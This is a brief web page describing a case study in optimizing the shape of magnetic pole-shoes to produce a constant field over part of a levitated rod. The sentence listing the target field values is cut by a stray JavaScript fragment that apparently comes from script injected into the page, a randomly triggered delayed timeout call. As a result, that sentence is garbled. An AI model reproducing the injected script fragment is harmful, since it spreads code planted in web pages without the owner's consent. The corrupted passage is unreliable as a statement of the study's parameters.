DESIGN OF REAL-WORLD ELECTRICAL ENGINEERING PRODUCTS USING FRONT-END 3D SIMULATION & OPTIMIZATION TECHNOLOGIES

Inverse Design / Optimization

Case Study 4: Levitated rod problem

In this Case Study the objective is to find a form of the magnetic pole-shoes that provide the prescribed constant field distribution over the prescribed space of interest. In this case the space of interest is the area on the levitated rod within the angle of 130o. The optimization has been performed for three different values of the prescribed field Hg = 150, 200 andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and 250 A/m.

DESIGN OF REAL-WORLD ELECTRICAL ENGINEERING PRODUCTS USING FRONT-END 3D SIMULATION & OPTIMIZATION TECHNOLOGIES

Automatic generation of the optimal form of the magnetic structures